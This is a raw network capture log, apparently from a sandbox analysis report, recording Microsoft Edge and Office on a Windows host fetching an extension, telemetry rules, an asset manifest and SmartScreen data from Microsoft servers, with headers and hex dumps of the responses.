2024-10-29 01:46:35 UTC	620	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730771192&P2=404&P3=2&P4=kuWS0J21qQmRxU9DHUUUkzlzxAda6i%2f2xks4sl7qzzoflpI020ekGIcuVRaa%2f1k%2f%2fzQESq7WGD895S9brFGKHw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: 7xqCS82/LBxzhfZTwf1aWq Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:36 UTC	1248	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 3d35375a-5745-48e6-89b8-e839da2e4452 MS-RequestId: 4251fe60-2871-465c-aee8-e473c47fa0c6 MS-CV: GP2HNz5p8NFv3Om8ofYAWb.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86400 Date: Tue, 29 Oct 2024 01:46:35 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.202.88.102,b=2928070919,c=g,n=US_TX_DALLAS,o=20940],[c=p,n=US_TX_DALLAS,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.6658ca17.1730166395.ae86d107 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-10-29 01:46:36 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:36 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:36 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: f4a85f8f-401e-00ac-0701-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014636Z-16849878b78g2m84h2v9sta29000000004vg0000000029uw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:36 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49850	13.107.246.57	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:36 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:36 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:36 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 7344f907-e01e-0000-2090-286807000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T014636Z-16849878b78hh85qc40uyr8sc8000000061000000000qkmk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:36 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-10-29 01:46:36 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-10-29 01:46:36 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-10-29 01:46:36 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-10-29 01:46:36 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-10-29 01:46:37 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-10-29 01:46:37 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-10-29 01:46:37 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-10-29 01:46:37 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-10-29 01:46:37 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49851	13.91.96.185	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:36 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiUnQwbFE2STQrSTBHbFRJVzhCS1BRQT09IiwgImhhc2giOiJvQWFTNWNDcVRUUT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-29 01:46:36 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-29 01:46:36 UTC	252	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:36 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-10-29 01:46:36 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-10-29 01:46:36 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
